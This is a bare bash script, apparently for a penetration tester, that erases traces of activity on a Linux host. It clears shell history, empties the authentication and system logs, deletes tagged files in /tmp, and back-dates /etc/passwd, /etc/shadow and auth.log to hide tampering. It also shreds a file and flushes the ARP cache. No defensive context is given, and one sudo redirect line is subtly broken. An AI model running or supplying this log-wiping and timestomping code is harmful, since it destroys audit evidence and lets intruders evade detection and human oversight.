#!/usr/bin/env bash
# Clear bash history
history -c
history -w
# Clear common log files
log_files=("/var/log/auth.log" "/var/log/syslog" "/var/log/messages" "/var/log/secure")
for file in "${log_files[@]}"; do
    if [ -f "$file" ]; then
        sudo echo "" > "$file"
        echo "Cleared $file"
    fi
done
# Remove temporary files
identifier="pentester123"
find /tmp /var/tmp -user "$(whoami)" -name "*$identifier*" -type f -delete
# Modify timestamps
touch -r /etc/hosts /etc/passwd /etc/shadow /var/log/auth.log
# Securely remove sensitive files
shred -u -z -n 3 /tmp/sensitive_data.txt
# Flush ARP cache
sudo ip -s -s neigh flush all
echo "Cleanup completed"
